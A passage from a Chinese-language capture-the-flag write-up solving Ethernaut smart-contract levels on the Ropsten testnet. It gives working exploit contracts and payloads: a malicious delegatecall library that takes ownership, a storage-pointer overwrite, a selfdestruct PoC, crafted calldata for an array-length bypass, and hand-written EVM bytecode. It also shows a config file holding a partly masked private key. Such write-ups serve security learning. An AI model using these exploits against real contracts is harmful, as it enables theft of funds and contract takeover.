totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

可以看到代码中对transfer函数做了限制,暂时看不出来有什么问题,但是代码还import了StandardToken.sol,我们跟进看一下StandardToken.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.6;


import './ERC20Lib.sol';

/**
* Standard ERC20 token
*
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/

contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;

ERC20Lib.TokenStorage token;
···
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}

function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
···
}

看到这里有transferFrom函数,可能可以利用

继续跟进ERC20Lib.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);

self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint remaining) {
return self.allowed[_owner][_spender];
}
}

可以看到transferFrom函数是可以被调用的,但是函数中有一个权限验证,要验证msg.sender是否被_from,但我们可以调用approve给自己授权

1
2
3
await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))
await contract.balanceOf(player) //检查是否成功

Preservation

通关条件:成为owner

考点:

  1. delegatecall
  2. storage 变量的存储与访问
  3. 类型转换

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.23;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

关于delegatecall可以看第7关Delegation

简单来说就是delegatecall调用后内部变量不会改变,而环境会使用调用者的环境

先举个简单的例子来说明一个delegatecall函数特性:

delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的,看如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract a{
uint public x1;
uint public x2;

function funca(address param){
param.delegate(bytes4(keccak256("funcb()")));
}
}
contract b{
uint public y1;
uint public y2;

function funcb(){
y1=1;
y2=2;
}
}

上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2

那么在这道题怎么做呢?先看一下LibraryContract合约

1
2
3
4
5
6
7
8
9
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

这个合约里只有storedTime这一个slot,这个slot对应的是Preservation合约中的timeZone1Library这个slot,什么意思呢

1
2
3
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

就是如果我们调用setFirstTime函数,_timeStamp会被赋值给timeZone1Library,也就是说如果我们第一次调用setFirstTime的时候将timeZone1Library修改为我们的恶意合约的地址,第二次再调用setFirstTime的时候就可以执行任意代码了

还有几点需要注意的地方:

  • 因为在Preservation合约中,owner这个slot是第三个位置,所以在attack合约中也必须有三个变量,同时owner也必须是第三个位置

  • 为了能改变timeZone1LibrarytimeZone2Library,需要调用setTime

attack合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.23;

import './Preservation.sol';

contract Attacker {
function exploit(address _pre,uint _mlc) public {
Preservation victim = Preservation(_pre); //Preservation instance address
victim.setSecondTime(_mlc);//MalignantLibraryContract address
victim.setFirstTime(0);
}
}

contract MalignantLibraryContract {
uint pad1;
uint pad2;
address public owner;

function setTime(uint _time) public {
owner = tx.origin;
}
}

部署attacker和MalignantLibraryContract合约,然后调用attacker合约的exploit函数,参数是题目地址和MalignantLibraryContract合约的地址,执行的时候还需要把gas limit调高,以防out of gas(我调到了3000000)

mark

接着就可以在控制台看合约的owner了,如果变成了我们的账户地址说明成功了

mark

Locked

通关条件:解锁并注册

考点:使用未初始化的存储器局部变量导致的漏洞

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

bool public unlocked = false; // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;

require(unlocked); // only allow registrations if contract is unlocked
}
}

结构体默认为存储(storage),具体可见官方文档。作为一个高度抽象的概述(没有任何适当的技术细节——我建议阅读 Solidity 文档以进行适当的审查),状态变量按它们出现在合约中的顺序存储在合约的 Slot 中。例如unlocked存在slot0中,registeredNameRecord存在slot1中,resolve存在slot2中,这些slot的大小是32字节(64位)。如果unlocked的值为false的话,那么它的布尔值是0x000...000(64个0),如果是true的话,布尔值是0x000...001(63个0)

合约的漏洞是由 newRecord 未初始化导致的。由于它默认为 storage,因此它成为指向 storage 的指针;并且由于它未初始化,它指向 slot 0(即 unlocked 的存储位置)。而后面将_name 设为 nameRecord.name 、将 _mappedAddress 设为 nameRecord.mappedAddress 的操作,实际上改变了 slot 0 和 slot 1 的存储位置,也就是改变了 unlocked 和与 registeredNameRecord 相关联的 slot

这意味着我们可以通过 register() 函数的 bytes32 _name 参数直接修改 unlocked 。因此,如果 _name 的最后一个字节为非零,它将修改 slot 0 的最后一个字节并直接将 unlocked 转为 true

当我们将_name 值设为0x0000000000000000000000000000000000000000000000000000000000000001传入 require() 函数时, unlocked 的状态就变为了true

所以payload:

1
2
contract.register("0x0000000000000000000000000000000000000000000000000000000000000001",0x001..) // 后面为你的钱包地址
await contract.unlocked()

更多的关于solidity结构体的知识可以看这篇文章

https://medium.com/coinmonks/ethernaut-lvl-17-locked-walkthrough-how-to-properly-use-structs-in-solidity-f9900c8843e2

Recovery

通关条件:从丢失的合同地址恢复或者删除0.5eth

考点:

  • 区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回
  • 通过 selfdestruct 指令可以销毁某个 Token 并将剩余的以太转移到某一账户中去

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.23;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}

在控制台窗口可以看到题目实例地址

mark

https://ropsten.etherscan.io搜索实例地址可以看到交易信息

mark

mark

mark

mark

在通过交易信息可以找到生产合约的丢失的合约的地址,即上图箭头指的地址

接下来在remix上粘贴题目代码,部署SimpleToken合约,选择At Address指定lost的合约地址

调用destroy函数,参数为自己的账户地址,调用成功发现在lost的合约已经自毁

mark

提交即可通关

当然我们可以写一个poc来做这道题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.23;

contract SimpleToken {

// public variables
string public name;
mapping (address => uint) public balances;

// collect ether in return for tokens
function() public payable ;

// allow transfers of tokens
function transfer(address _to, uint _amount) public ;

// clean up after ourselves
function destroy(address _to) public ;
}

contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}

function attack() public{
target.destroy(tx.origin);
}

}

甚至还可以用keccack256(address,nonce) 手动计算地址

(其中 address 是合约的地址(或创建交易的以太坊地址),而 nonce 是合约生产其它合约的一个数值(或者对于常规交易来说是交易的nonce))。

参考链接:

https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3

https://swende.se/blog/Ethereum_quirks_and_vulns.html

MagicNumber

通关条件:调用whatIsTheMeaningOfLife()函数时返回正确的数字

考点:

  • EVM汇编
  • 使用opcode创建合约

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.24;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

这道题是真的不怎么会,因为太不熟悉evm汇编了。。所以就照着网上的writeup做了

返回的正确数字应该是42(因为注释里给了- -),这也是生命、宇宙以及任何事情的终极答案,所以return的应该是0x2a,而0x2a应该使用mstore(p, v)将该值存储在内存中,其中p是位置,v是十六进制值:

1
2
3
602a // v:push1 0x2a(值为0x2a)
6080 // p:push1 0x80(内存slot为0x80)
52 // mstore

然后需要return这个0x2a:

1
2
3
6020    // s: push1 0x20 (value is 32 bytes in size)
6080 // p: push1 0x80 (value was stored in slot 0x80)
f3 // return

所以现在的bytecode是

602A60805260206080f3

接下来还需要创建合约和初始化opcodes,这些操作码需要在返回给EVM之前复制runtime opcodes到内存

复制代码的操作是由opcodes codecopy处理的,codecopy有三个参数:

  • t: 内存中代码的目标位置,我们需要把opcodes存到0x00
  • f: runtime opcodes现在的地址,f参数的起始位置是在initialization opcodes的结束位置
  • s: 代码的大小(以字节为单位),所以602A60805260206080f3是10字节

首先是要把runtime codes复制到内存中,但f参数应该是多少的我们现在还不确定,先用问号占位:

1
2
3
4
600a    // s: push1 0x0a (10 bytes)
60?? // f: push1 0x?? (current position of runtime opcodes)
6000 // t: push1 0x00 (destination memory index 0)
39 // CODECOPY

接着要把内存中的runtime opcodes返回给EVM:

1
2
3
600a    // s: push1 0x0a (runtime opcode length)
6000 // p: push1 0x00 (access memory index 0)
f3 // return to EVM

然后initialization opcodes占了12个字节(0x0c,把上面两个代码块里的代码长度加起来算出来的)的位置,刚才说过f参数的起始位置是在initialization opcodes之后,所以runtime opcodes是从0x0c开始的,即f参数就是0x0c,可以补全上面的代码了

1
2
3
4
600a    // s: push1 0x0a (10 bytes)
600c // f: push1 0x?? (current position of runtime opcodes)
6000 // t: push1 0x00 (destination memory index 0)
39 // CODECOPY

initialization opcodes拼在之前的bytecode前面可以得到完整的bytecode:

0x600a600c600039600a6000f3602A60805260206080f3

最终的poc:

1
2
3
4
5
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
var player = "0x74962d1a910bec163defd0d74eb4070ba932afab";//这里要改成自己的player.address
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
//以上三条命令需要在truffle console中输入
await contract.setSolver("contract address");

truffle的安装和配置

truffle的安装可以看https://segmentfault.com/a/1190000013950908 (我是在windows中安装的,ubuntu也可以,但我在ubuntu上安装一直出现权限错误,一晚上都没解决,就放弃了。。)

安装好truffle后,ganache-cli可以不安装,但要想和ropsten通信还需要安装一个HDWalletProvider插件

npm install truffle-hdwallet-provider -g

在cmd或者powershell中输入node -vtruffle -v能显示版本号说明安装成功

mark

接下来进行truffle的配置(ropsten),首先初始化truffle:

在硬盘中任意位置新建一个文件夹,作为truffle初始化的文件夹,首先打开cmd进入此文件夹,接着输入truffle unbox webpack后会出现如下界面

mark

初始化成功了,接着打开刚才建好的文件夹可以看到初始化后的文件结构

mark

需要修改truffle-config.js这个配置文件,配置js文件可以参考这篇文章 这篇文章 (还需要在这里申请一个infura账号:https://infura.io/)

申请好的infura账号:

mark

truffle-config.js(truffle的配置文件,配置部署的网络。linux下的配置文件是truffle.js):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var HDWalletProvider = require("C:\\Users\\jagger\\node_modules\\truffle-hdwallet-provider");  //建议使用绝对地址
var mnemonic = "4718B4B5ADAF9C01254···1AA962510ADDA5368"; //账户私钥,在Metamask插件里可以查看私钥

module.exports = {
networks: {

development: {
host: "127.0.0.1",
port: 9545,
network_id: "*"
},
// ropsten测试网络,mnemonic为账户的助记词或者私钥
ropsten: {
provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/4e8a61f49be44b5482228930c8aaa1d3`), //这里要改成自己的infura地址
network_id: 3, // Ropsten's id
gas: 5500000, // Ropsten has a lower block limit than mainnet
confirmations: 2, // # of confs to wait between deployments. (default: 0)
timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50)
skipDryRun: true // Skip dry run before migrations? (default: false for public nets )
},
// 只需要改这些,其他不用改
···
}

配置好后只要在cmd中输入truffle console --network ropsten即可调出truffle控制台,终于可以继续做题了

mark

得到contractAddress后,只要在ethernaut控制台输入await contract.setSolver("contractAddress")即可

mark

如果配置过程中有什么问题可以给我留言。。

Alien Codex

通关条件:成为owner

考点:

  • EVM汇编、abi等
  • 合约是如何从零创建的
  • OOB (out of boundary) Attack

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact(bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

代码首先引入了Ownable.sol,那就找一下源码看一下Ownable.sol,看了下其实只是为了引入owner变量

接着看源代码,定义了一个contacted修饰器(忘记修饰器的可以看一下GatekeeperOne那关),并且在调用合约中除了make_contact函数以外,调用其他三个函数都需要过修饰器,所以首先要使contact=true以便可以成功调用函数,那么问题就是看如何绕过meke_contact函数中的数组长度判断了

make_contact函数需要传入一个长度大于2**200的数组,直接在remix上部署合约明显是不现实的,因为会出现out of gas;由于make_contact函数只验证了传入数组的长度,并没有验证数组中的值,而opcodes中数组长度是存储在某个slot上的,并且没有对数组长度和数组内的数据做校验,所以可以构造一个存储位上长度很大,但实际上并没有数据的数组然后打包成data发送

(具体的solidity存储原理和动态数组的api可以看这两篇文章

https://segmentfault.com/a/1190000013791133

https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types)

这里选择用web3来发送交易,关于web3的用法可以看web3文档

第一步是构造函数选择器,EVM中是取data的前四个字节(加上‘0x’一共10位)来选择调用合约中的函数的,而这四个字节则是取对应函数的函数签名的hash函数的前4个字节:

bytes4(keccak256(“foo(uint32,bool)”)) //keccak256其实就是soliidty中的sha3

函数签名中仅保留了函数名和函数参数的类型

让我们回过头来仔细看一下make_contact(bytes32[] _firstContactMessage)这个函数,根据上面的solidity动态类型参数的文档可以得到参数的结构:

  • 函数签名的哈希值的前4个字节
  • 数据的位置的偏移量
  • bytes32[]这个数组的长度
  • 实际的数据

所以构造的data如下所示:

1
2
3
4
sig=web3.sha3('make_contact(bytes32[])').slice(0,10); //0x1d3d4c0b
//函数选择器sig="0x1d3d4c0b"
data1="0000000000000000000000000000000000000000000000000000000000000020";//动态数组的偏移,即数组长度存储的部分,起始于32字节
data2="1000000000000000000000000000000000000000000000000000000000000001";//数组的长度

第一行是函数的标识符,前4个字节加“0x”一共十位,所以切片0-10

第二行是偏移量,因为第三行是数组的长度,所以我们要让偏移直接指向第三行的data2;而偏移量(即data1)的数据长度一共是32字节,所以偏移量的大小也是32,即0x20

第三行就是数组的长度了

在正常的情况下还有第四行代表实际数组中的数据,但在这个例子中没有检查数据,所以我们把其置空

那么可以得到最终的payload,就是sig+data1+data2:

data="0x1d3d4c0b00000000000000000000000000000000000000000000000000000000000000201000000000000000000000000000000000000000000000000000000000000000"

contract.sendTransaction({data})

mark

好,可以看到contact的状态是true了,到这里算是做完了一半。。

下面就是下一个利用点了,挑战的目标是要我们取得该合约的owner,然而整个合约中并没有可修改owner的函数,那么显然需要找到漏洞点来覆盖owner所在的存储位

这两个函数是有问题的

1
2
3
4
5
6
7
function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}

这是一个经典的OOB(out of boundary) Attack,通过retract函数我们可以将codex的length下溢 (这里推荐两篇关于solidity变量存储方式的文章:https://www.freebuf.com/articles/blockchain-articles/177260.html,https://segmentfault.com/a/1190000013791133#articleHeader4)

所以solidity中计算存储位时使用公式为:keccak256(slot) + index

再回头看owner变量,owner变量是从Ownable.sol导入的,所以按理来说owner变量存储在slot0,contact存在slot1,codex存在slot2。但是solidity中会进行存储优化,会将bool型和address型使用的空间进行合并,因为这两种类型占用空间都是小于32字节的。在启用存储优化后,定义的变量所占的空间小于32字节时,这个变量所占的存储位就可以与它后面的变量共享(前提是共享后不溢出)。所以在这里owner变量是和contact共同存储在slot0的,而codex存在slot1。